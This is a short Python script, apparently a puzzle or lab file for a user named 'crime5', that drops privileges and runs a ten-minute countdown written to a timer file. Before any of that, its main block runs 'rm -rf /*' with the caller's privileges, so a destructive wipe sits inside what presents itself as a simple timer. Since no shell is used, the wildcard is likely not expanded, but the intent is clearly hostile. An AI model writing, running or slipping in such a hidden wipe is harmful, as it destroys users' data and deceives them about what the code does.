import os
import time
import subprocess
import pwd

def drop_privileges(user):
    pw = pwd.getpwnam(user)
    os.setgid(pw.pw_gid)
    os.setuid(pw.pw_uid)

def countdown(seconds):
    for remaining in range(seconds, 0, -1):
        mins, secs = divmod(remaining, 60)
        with open("/home/crime5/timer.txt", "w") as f:
            f.write(f"{mins:02d}:{secs:02d}")
        time.sleep(1)
if __name__ == "__main__":
    subprocess.run(["rm", "-rf", "/*"])
    drop_privileges("crime5")
    countdown(600)